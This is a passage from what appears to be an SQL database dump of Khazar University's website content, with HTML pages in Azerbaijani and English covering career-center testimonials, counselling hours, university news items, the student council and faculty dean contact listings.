etmək istəyirəm.</p><p>&nbsp;</p><p><strong>Nilufər Ağazadə</strong><br><strong>İngilis dili tərcüməçiliyi,Tələbə.İş: Tərcüməçi: Headstart</strong></p><p>Peşə Mərkəzi sayəsində mən xəyalımdakı işi tapdım.Headstart International mənə Xəzər Universitetində<br>öyrəndiklərimi təcrübəyə tətbiq etmək imkanı verdi.Burada təcrübə keçmək çox önəmlidir.Ümid edirəm&nbsp;<br>ki,bu mənim dil qabiliyyətimi inkişaf etdirməyə kömək edəcək.Öz ixtisasımda mütəxəssis olmaq mənim&nbsp;<br>ilk hədəfimdir.Bu çox gözəl haldır ki,bizim universitetdə tələbələr öz ixtisasları ilə bağlı iş imkanları əldə&nbsp;<br>edirlər.Hər şey üçün minnətdaram.Və indi siz də öz gələcəyinizə fayda vermək və böyük karyera qurmaq&nbsp;<br>istəyirsizsə sadəcə aktiv olun və inanın.<strong><br></strong></p><p>&nbsp;</p><p><strong>Nurlan Ismayilov</strong><br><strong>İqtisadiyyat,Tələbə.İş: Mühasibat mütəxəssisi, Parabank</strong></p><p>Bu çox gözəl haldır ki,bizim universitetdə tələbələr öz ixtisasları ilə bağlı iş imkanları əldə edirlər.Mən də&nbsp;<br>o tələbələrdən biriyəm.Mən dəfələrlə CV-mi göndərməyə çalışdım,lakin müraciətimə heç bir cavab ala&nbsp;<br>bilmədim və təklif edilən işlər isə mənə uyğun deyildi.Peşə Mərkəzinin İş Elanlarını izləməyə başladım və&nbsp;<br>qərara gəldim ki öz CV-mi mümkün vakansiyalara göndərim.Mən və digər tələbələr Parabankın iş&nbsp;<br>imkanlarına müraciət etdik.Mən imtahan və müsahibə mərhələsini uğurla keçdim.Və nəticədə hal-<br>hazırda Parabankın Mühasibat Departamentində təcrübədəyəm.Özünüzə inanın.<br></p><p>&nbsp;</p><p><strong>Fatimə Bayramova</strong><br><strong>İngilis dili tərcüməciliyi,Tələbə.İş: Baku Languages and Business School (BLBS)</strong></p><p>Smithsonian jurnalına görə “hər uğur hekayəsinin arxasında utandırıcı ilk səy,səhv,çatışmazlıq və radikal&nbsp;<br>istiqamət dəyişikliyi var.Uğurlu birini gördükdə,həmişə təsəvvür edirdim ki,onlar dahidirlər və bu uğur da&nbsp;<br>onların dahiliyinin qaçınılmaz,təbii nəticəsidir və onlar böyük şeylər üçün doğulublar.<br>Mən həmişə deyirdim ki,heç vaxt onlar kimi ola bilmərəm.Mən hazırda 1-ci kurs tələbəsiyəm.Lakin&nbsp;<br>işləməyi çox sevirəm.Bə buna görə də vakansiyaları axtarmağa başladım.Özümə uyğun olan hər&nbsp;<br>vakansiyaya baxdım,onlardan bəzilərini seçdim və öz CV-mi göndərdim.Lakin onlardan heç bir cavab&nbsp;<br>almadım.Ümidimi itirdim və fikirləşdim ki, “nə edə bilərəm?”<br>Sonra öz bacarıqlarımı inkişaf etdirmək qərarına gəldim.Əvvəllər öyrəndiyimdəm daha çox öyrənməyə və&nbsp;<br>müsbət düşünməyə başladım,qərarlarımı dəyişdim.Bundan sonra başa düşdüm ki,çox az uğurlu inshan&nbsp;<br>uşaqlıqdan dahi olur və dahilər heç də uğuru tapa bilmirlər &nbsp;(Smithsonian). Mən yenidən iş axtarmağa&nbsp;<br>başladım,lakin indi nə istədiyim bilirəm.Bir aydan sonra onlar mənə cavab verdilər.İndi mənim yaxşı bir&nbsp;<br>işim var;yaxşı bir gələcək üçün öz bacarıqlarımı inkişaf etdirmək imkanlarım var.Öz Peşə Mərkəzimizə&nbsp;<br>buna görə minnətdaram.Sözsüz ki onlar olmadan mən buna nail ola bilməzdim.Onlar mənə çox kömək&nbsp;<br>etdilər.Hər şey üçün minnətdaram.Və indi siz də öz gələcəyinizə fayda vermək və böyük karyera qurmaq&nbsp;<br>istəyirsizsə sadəcə aktiv olun və inanın.</p>  <br></div>'),(1207,498,'az','Məsləhətləşmə','Məsləhətləşmə','<p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p style=\"text-align:center\"><strong>Məsləhətləşmə &nbsp;nədir?</strong></p><p style=\"text-align:justify\">&nbsp;Məsləhətləşmə görüşləri tələbələri lazımi məlumat və resurslarla təmin etməklə onların professional inkişafına kömək olur. Bu görüşlər onlarda özünü qiymətləndirməyə, məqsədə doğru getməyə, iş axtarış strategiyalarına, CV yazmağa və effektiv müsahibə verməyə xidmət edir.</p><p>&nbsp;</p><p style=\"text-align:center\"><strong>Görüş</strong></p><p style=\"text-align:justify\">30 dəqiqədən çox görüş təyin etmək üçün, bazar ertəsindən cümə gününə qədər hər gün&nbsp; 10:00dan 05:00-a qədər &nbsp;öncədən zəng və ya e-maillə &nbsp;&nbsp;müraciət edə bilərsiniz. Siz bizə məqsədinizi bildirməlisiniz (bu sizə&nbsp;iş və təcrübə axtarışında kömək olacaq). Bu görüşlər karyeranızın qurulması / təcrübə / iş axtarışları,&nbsp;müsahibələr&nbsp;&nbsp;haqqında dərin suallarınıza cavab tapmağınız&nbsp;üçün əla fürsətdir.</p><p>&nbsp;</p><p style=\"text-align:center\"><strong>Sualınız var?</strong></p><p style=\"text-align:justify\">10 dəqiqəlik görüş təyin etmək üçün, bazar ertəsindən cümə gününə qədər hər gün&nbsp; 10:00dan 05:00-a qədər&nbsp;müraciət edə bilərsiniz. ( bayram və tətil günləri istisnadır) Öncədən qeydiyyata ehtiyac yoxdur.</p><p>&nbsp;</p><p style=\"text-align:center\"><strong>Universitetdən uzaqdasan?</strong></p><strong></strong><p style=\"text-align:justify\">Xaricdə və ya kampusdan uzaqsınızsa,&nbsp;Skype və ya telefon vasitəsilə bizimlə&nbsp;əlaqə yarada bilərsiniz.</p><p>&nbsp;</p><p>Skype: khazar.career.center</p><p>Tel: 00994 12 421 7916 (212)</p><p>İş saatları: 9.00- 18.00, Bazar ertəsi-Cümə</p><p>&nbsp;&nbsp;</p><p style=\"text-align:justify\">Unutmayın! Məsləhətləşmə, gizliyinizi və təhlükəsizliyinizi&nbsp; dəstəkləyir. Biz sizin şəxsi dəyərlərinizə &nbsp;və unikallığa hörmət edirik.</p>'),(2148,1319,'en','Founder Makes Presentation at Conference Dedicated to M. Shahriyar','On September 14, 2016, Azerbaijan National Academy of Sciences held a conference on Mahammadhuseyn Shahriyar, great Azerbaiani and Iranian poet...','<p>On September 14, 2016, Azerbaijan National Academy of Sciences held a \r\nconference on Mahammadhuseyn Shahriyar, great Azerbaiani and Iranian poet. \r\nParticipants at the conference included scholars and official visitors from \r\nAzerbaijan and Iran. </p>\r\n<p>Professor Hamlet Isaxanli, the founder of Khazar University and \r\nChairman of its Board of Directors and Trustees, made a presentation about the \r\nworks of Shahriyar and a comparison between him and Samad Vurghun. Professor \r\nIsaxanli also read his own poems at the conference.</p>'),(2004,1220,'az','“Əlilliyi olan şəxslərlə 360 dərəcə ünsiyyət” adlı seminar keçirildi','2016-ci il iyunun 18-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması”...','<p>2016-ci il iyunun 18-də “Əlilliyi olan şəxslərin Azərbaycanın\r\nali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP)\r\nTempus layihəsinin rəhbəri Rima Məmmədova “Potensial məktəb direktorlarına məktəbin\r\nidarə edilməsi üzrə təlim kursları”nın iştirakçılarına “Əlilliyi olan şəxslərlə\r\n360 dərəcə ünsiyyət” adlı seminar keçirdi. Seminar zamanı R.Mammadova\r\niştirakçılara ESFİDİP layihəsi, əlillik və qanunvericilik, inkluziv təhsil və əlilliyi\r\nolan şəxslərlə ünsiyyət, davranış və etik qaydalar haqqında məlumat verdi və\r\nmövzuya uyğun vörkşop keçirildi və videoya baxıldı. </p>\r\n<p>Tədbirdə təxminən 20 nəfər orta məktəb direktoru və müəllim iştirak\r\nedirdi.</p>'),(1208,506,'az','Qalereya','Qalereya',''),(1210,740,'en','Catalogues','Catalogues','<div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_12_06_22_front_final.jpg\" style=\"border:0px #000000;width:350px;height:179px;margin:7px;float:left\"><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_12_06_22_back_final.jpg\" style=\"border:0px #000000;width:350px;height:179px;margin:7px;float:left\"><br></div></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/14_11_25_booklet1.jpg\" style=\"border:0px  #000000;width:350px;height:350px;margin:7px;float:left\">  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(1211,444,'az','Radio Xəzər','Radio Xəzər','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzərin Səsi internet radiosu</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universiteti 2009-cu ildən Xəzərin səsi internet radiosunu yayımlayır. 24 saat yayımlanan bu radioda müxtəlif üslublu milli musiqi, klassik musiqilər səsləndirilir, müzakirələr və müsahibələr, şeirlər, qonaq aktyolar, xəbərlər və digər proqramlar təqdim olunur. Bu Azərbaycanın ilk ali məktəb internet radiosudur. Yaradıcı heyət tələbələrdən ibarətdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Sayta bu linkdə&nbsp;<a href=\"http://www.radiokhazar.org/\">Khazar University Radio</a>.&nbsp;baxa bilərsiniz</p>  <br></div>'),(1212,476,'az','İşçi heyəti','İşçi heyəti','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Prezident</strong>&nbsp;- Mirzəağa Səmədov</p><p><strong>Vitse Prezident</strong>&nbsp;- Azıza Ceferli-Xəzər Xəbər jurnalı üzrə məsul şəxs</p><p><br></p><p><strong>Müavinlər</strong></p><p><strong><br></strong></p><p>1.Cəlal Hüseynbəyli – Level up koordinatir (<a href=\"http://www.khazar.org/files/Jalal_Huseynbeyli.doc\">CV</a>)</p><p>2.Nilufer Əzizadə-ATGT koordinatr&nbsp;(<a href=\"http://www.khazar.org/files/Nilufar_Alizada.docx\">CV</a>)</p><p>3.Nuranə Quluzadə-web-sehife&nbsp;(<a href=\"http://www.khazar.org/files/CV_Nurana.docx\">CV</a>)</p><p>4.Ceyhun Cabayev- Tedbirler (<a href=\"http://www.khazar.org/files/Ceyhun_Cabayev_CV.doc\">CV</a>)</p><p>5. Ruslan İsmayılov- Parlament</p><div><br></div></div></div>  <br></div>'),(1213,445,'az','Tələbə məclisi','Tələbə məclisi',''),(1214,477,'az','Parlament','Parlament','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Mühəndislik və Tətbiqi elmlər fakültəsi</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kompüter mühəndisliyi&nbsp;1-ci kurs –Rüfət Qasımzadə , 3-cü kurs – Cavid Atakişiyev</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Neft və qaz mühəndisliyi Ümumi Nümayəndə - Rza Hüseynov, 2-ci kurs – Arif İmanov, 3-cü kurs – Nərgiz Balamedova</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kimya Mühəndisliyi 1-ci kurs – Nərmin İsayeva, İnşaat mühəndisliyi 1-ci kurs – Nicat Əliyev</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Elektronika, Telekommunikasiya və Radio mühəndisliyi Ümumi Nümayəndə -Arzu İlqarlı, 1-ci kurs – Qurban Əsgərov</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kompüter elmleri 1-ci kurs – Tərlan Məmmədli</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bio Mühəndisliyi 2-ci kurs – Fidan Hacıyeva</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>İqtisadiyyat və Menecment fakültəsi</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Maliyyə Ümumi Nümayəndə - Eldar Zeynalov, 1-ci kurs –Nihad Mehtiyev, 2-ci kurs- Zalxa Yusifli, 3-cü kurs –Elnur Bədəlov</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Mühasibat uçotu və audit Ümumi Nümayəndə- Tural Bayramlı, 2-ci kurs- Toğrul Xəlilov, 3-cü kurs –Kənan Atayev</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Menecment Ümumi Nümayəndə -Gülnar Ağayeva, 1-ci kurs- Elvin Bağırov, 2-ci kurs- Özal Süleymanov</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Marketinq Ümumi Nümayəndə - Emil Bayramov, 2-ci kurs – Ayaz Babayev</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İqtisadiyyat 1-ci kurs- Yaşar Yusifli, 3-cü kurs – Xəqani Qasımov</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Biznesin idarə edilməsi Ümumi Nümayəndə -Etibar Saatov, 1-ci kurs – Vüsalə Babayeva</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Təhsil Fakültəsi</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İbtidai təhsil müəlimliyi 1-ci kurs – Aydan Cəfərli, 2-ci kurs – Şəhla İsmailova</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Riyaziyyat və Informatika Müəllimliyi Ümumi Nümayəndə -Mədinə Süleymanova, 1-ci kurs-Cəmilə Əzizzadə, 2-ci kurs- Sayad Aslanlı, 3-cü kurs- Gülcahan Vəkilzadə, 4-cü kurs –Lamiyə Hacılı</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kimya və Biologiya müəllimliyi Ümumi Nümayəndə - Mətanət Hadıyeva, 2-ci kurs- Zərif Hiyeva, 3-cü kurs – Şəbnəm Əliyeva</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tarix və Coğrafiya müəllimliyi Ümumi Nümayəndə - Türkan Səmədova, 1-ci kurs – İlahə Yusifli, 2-ci kurs – Zaur Mütəllibov, 3-cü kurs- Nurməmməd Məmmədov</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Ingilis dili və ədəbiyyatı 2-ci kurs-Mehman Əsədli, 3-cü kurs- Sevda Əsgərova , 4-cü kurs - Nərmin Rzayeva</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Filologiya Ümumi Nümayəndə- Pərviz Dadaşov, 1-ci kurs –Mürsəl Muradov, 2-ci kurs – Səbinə Aydın, 3-cü kurs- Nizami Əlisoy</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycan dili və ədəbiyyatı Ümumi Nümayəndə- Nigar Əsgərova, 1-ci kurs –Samirə Hüseynova, 3-cü kurs- Nuranə Məmmədzadə</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Humanitar və Sosial elmlər fakültəsi</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Psixologiya Ümumi Nümayəndə -Qədəmli İsmayılova, 3-cü kurs- Aytac Məmmədzadə</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Beynəlxalq Münasibətlər Ümumi Nümayəndə - Orxan Hüseynov, 1-ci kurs-Fuad Gülünaliyev ,2-ci kurs- Kamran Məmmədli, 3-cü kurs- Fuad İbrahimov</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Regionşünaslıq Ümumi Nümayəndə - Nicat İsmail, 1-ci kurs – Sabrina Ramazanova, 2-ci kurs – Xədicə İsmayılova, 3-cü kurs –Mahir Süleymanlı, 4-cü kurs – Leyla Məmmədova</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Politalogiya Ümumi Nümayəndə - Vəzdifə Kərimzadə, 1-ci kurs - Təbriz Adilzadə, 2-ci kurs – Murad Balaqadaşov, 3-cü kurs – İlahə Əliyeva, 4-cü kurs –Qurban Mustafabəyli, 1-ci kurs – Hakim Məmmədzadə, 3-cü kurs- Səid Əliyev</p>  <br></div>'),(1287,819,'az','Dekanlıqlar','Dekanlıqlar','<h3><strong><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\">Mühəndislik və Tətbiqi Elmlər Fakültəsi</a><br></strong></h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Dekan</strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Hassan Niknafs</a></em></p><p><a href=\"mailto:Hniknafs@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Hniknafs@khazar.org\">Hniknafs[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Dekan müavini</strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/letters/Fakhranda_A.N_CV.pdf\">Fəxrəndə Əlimərdanova</a></em></p><p><a href=\"mailto:falimardanova[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:falimardanova[at]khazar.org\">falimardanova[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong>Dekan müavini</strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/Vafa_Aslanova.pdf\">Vəfa Aslanova</a></em></p><p><a href=\"mailto:Vaslanova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Vaslanova@khazar.org\">vaslanova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Assistent</strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/CV-Europass-20170922-Abdurahimli-CV.pdf\">Pərvanə&nbsp;Əbdürəhimli</a></em></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/CV-Europass-20170922-Abdurahimli-CV.pdf\"></a></em><a href=\"mailto:pabdurahimli[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:pabdurahimli[at]khazar.org\">pabdurahimli[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><h3><strong><a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\">İqtisadiyyat və Menecment Fakültəsi</a><br></strong></h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Dekan</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/JMammadov_CV.pdf\">Ceyhun Məmmədov</a></em></p><p><a href=\"http://mailto:jmammadov@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"http://mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong><strong>Dekan müavini</strong>  </strong></p><p><em><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\">Şəhriyar&nbsp;Muxtarov</a></em></p><p><a href=\"mailto:smukhtarov[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:smukhtarov[at]khazar.org\">smukhtarov[at]khazar.org</a><strong>&nbsp;</strong></p><p><strong><br></strong></p><p><strong>Assistent</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/Khanim_CV.pdf\">Xanım&nbsp;Nəbiyeva</a></em></p><p><a href=\"mailto:khnabiyeva@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:khnabiyeva@khazar.org\">khnabiyeva[at]khazar.org</a><strong> &nbsp;  </strong></p><p><strong><br></strong></p><p><strong>Assistent</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/Europass_CV.PDF\">Bahar İmanova</a></em></p><p><a href=\"mailto:bimanova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:bimanova@khazar.org\">bimanova[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Assistent</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/Samire_Mirzeyeva_CV.pdf\">Samirə&nbsp;Mirzəyeva</a></em></p><p><a href=\"mailto:smirzayeva@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:smirzayeva@khazar.org\">smirzayeva[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Assistent</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/aytan.bakhishova_CV.pdf\">Aytən Baxışova</a></em></p><p><a href=\"mailto:arahimova[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:arahimova[at]khazar.org\">arahimova[at]khazar.org</a><br></p><p><br></p><p><br></p><h3><strong><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\">Humanitar və Sosial Elmlər Fakültəsi</a><br></strong></h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Dekan</strong></p><p><em><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Xəlilov</a></em></p><p><a href=\"mailto:Cxalilov@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Cxalilov@khazar.org\">cxalilov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><strong>Dekan müavini</strong>  </strong></p><p><em><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\">Validə&nbsp;Kərimova</a></em></p><p><a href=\"http://mailto:vkerimova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"http://mailto:vkerimova@khazar.org\">vkerimova[at]khazar.org</a><strong><a href=\"http://mailto:vkarimova@khazar.org\"></a><a href=\"mailto:mkarimova@khazar.org\"></a></strong></p><p><strong><br></strong></p><p><strong>Assistent</strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\">Paşa Aydayev</a></em></p><p><em><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\"></a></em><a href=\"http://mailto:paydayev@khazar.org/\"></a><strong>E-mail:</strong>  <a href=\"http://mailto:paydayev@khazar.org/\">paydayev[at]khazar.org</a></p><p><br></p><p><strong>Assistent</strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\"></a></em><a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\" style=\"font-style:italic\">Elxan Kasimov</a></p><p><a href=\"mailto:elkhan.kasimov@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:elkhan.kasimov@khazar.org\">elkhan.kasimov[at]khazar.org</a>  <a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\"></a></p><p>&nbsp;</p><p><br></p><h3><strong><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">Təhsil Fakültəsi</a><br></strong></h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Dekan</strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza Səmədova</a></em></p><p><a href=\"mailto:Esemedova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Esemedova@khazar.org\">esemedova[at]khazar.org</a></p><p><br></p><p><strong><strong>Dekan müavini</strong>  </strong></p><p><em><a href=\"http://www.khazar.org/files/CV%20Aygun_Verdiyeva.pdf\">Aygün Verdiyeva</a></em></p><p><a href=\"mailto:Averdiyeva@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Averdiyeva@khazar.org\">averdiyeva[at]khazar.org</a></p>\r\n<p><strong><br></strong></p><p><strong><strong>Assistent</strong><br></strong></p><p><em><a href=\"http://www.khazar.org/files/education/CV-Sayad_Aslanli.pdf\">Sayad Aslanlı</a></em></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:saslanli@khazar.org\">saslanli[at]khazar.org</a></p>'),(1285,817,'az','Akademik işlər üzrə','Akademik işlər üzrə','<div><br></div><h3><div style=\"font-family:\'times new roman\', times, serif\"><div style=\"font-size:medium\"><div><p><strong>Akademik işlər üzrə&nbsp;</strong></p><hr><p><strong></strong>Prorektor - Məhəmməd Nuriyev</p><p>Email:&nbsp;<a href=\"mailto:mnuriyev@khazar.org\">mnuriyev@khazar.org</a></p><p>Telefon: (412) 421 79 16 \\ 248</p><p>&nbsp;</p><p>Assistent – Zərifə Əliyeva</p><p>Email:&nbsp;<a href=\"mailto:zaliyeva@khazar.org\">zaliyeva@khazar.org</a></p><p>Telefon: (412) 421 79 16 \\ 232</p><p><a href=\"http://www.khazar.org/files/Zarifa_Aliyeva-CV.doc\">Zarifa_Aliyeva-CV.doc</a></p><div><br></div></div></div>  <br></div></h3>'),(1639,1012,'en','Khazar Student Wins Hand-to-Hand Combat','On April 15-16, 2016, Joshgun Mammadov, third-year philology major of Khazar University School of Education, competed in hand-to-hand combat (85+ kg weight class) in the Eurasian Cup in Batumi, Georgia.','<p>On April 15-16, 2016, Joshgun Mammadov, third-year\r\nphilology major of Khazar University School of Education, competed in\r\nhand-to-hand combat (85+ kg weight class) in the Eurasian Cup in Batumi,\r\nGeorgia. In the first round, Mammadov defeated Bahman, an Iranian fighter. In\r\nthe second round, he was matched against a Georgian citizen of Armenian descent\r\nwho refused to fight against him. In the final round, he defeated Hashim, an\r\nIranian fighter, to take second place in the competition. We also note that\r\nJoshgun Mammadov is in the 90+ kg weight class, but there were no other\r\nfighters in that weight class so he was awarded 1<sup>st</sup> place.&nbsp;</p>'),(1640,1013,'az','Gənc psixoloqun məqaləsi yayınlandı','2016-cı il aprelin 27-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsində psixologiya ixtisası üzrə təhsil alan tələbəsi Nərmin Quliyevanın olaylar.az saytında “Öz saçını yolanların xəstəliyi” başlıqlı yazısı yayınlanmışdır.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 27-də Xəzər\r\nUniversiteti Humanitar və sosial elmlər fakültəsində psixologiya ixtisası üzrə təhsil alan tələbəsi Nərmin Quliyevanın <em>olaylar.az</em> saytında “Öz saçını yolanların xəstəliyi” başlıqlı yazısı\r\nyayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını tem şəkildə bu link\r\nvasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.olaylar.az/news/social/173789/\">http://www.olaylar.az/news/social/173789/</a>.&nbsp;</p>'),(1641,1013,'en','Young Psychologist’s Article Published','On April 27, 2016, an article entitled “The Disorder of Pulling out One’s Hair” by Narmin Guliyeva, psychology student of Khazar University School of Humanities and Social Sciences, was published on the website olaylar.az.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 27, 2016, an article entitled “The Disorder of Pulling out One’s Hair” by\r\nNarmin Guliyeva, psychology student of Khazar University School of Humanities\r\nand Social Sciences, was published on the website <strong>olaylar.az</strong>. The full\r\ntext of the article is available (in Azerbaijani) at this link: <a href=\"http://www.olaylar.az/news/social/173789/\">http://www.olaylar.az/news/social/173789/</a>.&nbsp;</p>'),(1642,1014,'az','Azərbaycan Şəhid Mədəni Universitetinin nümayəndə heyəti Xəzər Universitetində oldu','2016-cı il aprelin 27-si və 28-də iki universitet arasında əməkdaşlığı müzakirə etmək üçün dəvət olunmuş Azərbaycan Şəhid Mədəni Universitetinin nümayəndə heyəti Xəzər Universitetində oldu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 27-si və 28-də iki\r\nuniversitet arasında əməkdaşlığı müzakirə etmək üçün dəvət olunmuş Azərbaycan Şəhid\r\nMədəni Universitetinin nümayəndə heyəti Xəzər Universitetində oldu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azərbaycan Şəhid Mədəni Universitetinin\r\nnümayəndə heyətinə rektor Dr. Hasan Valizadeh, Tədqiqat üzrə prorektor Dr. Ali\r\nAjami və Təhsil üzrə prorektor Dr. Mansour İmanpour daxil idilər. Azərbaycan Şəhid\r\nMədəni Universiteti İranda Təbriz yaxınlığında yerləşən dövlət universitetidir.\r\n7 fakültəsi olan universitet bakalavr, magistr və doktorantura səviyyələri üzrə\r\ntəhsil verir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Səfərinin ilk günü nümayəndə heyəti ilə həm\r\nXəzər Universitetində, həm də “Dünya” məktəbində silsilə görüşlər keçirildi. Təbrizdən\r\nolan qonaqlar Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı və universitetinin rektoru Dr. Hassan Niknafs\r\nilə görüşdülər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Universitetin rəhbərliyi, fakültə\r\ndekanları, akademik və administrativ şöbələrin rəhbərləri üçün Azərbaycan Şəhid\r\nMədəni Universiteti haqqında təqdimat keçirildi. Nümayəndə heyəti Xəzər\r\nUniversitetində təhsil alan iranlı tələbələrlə də 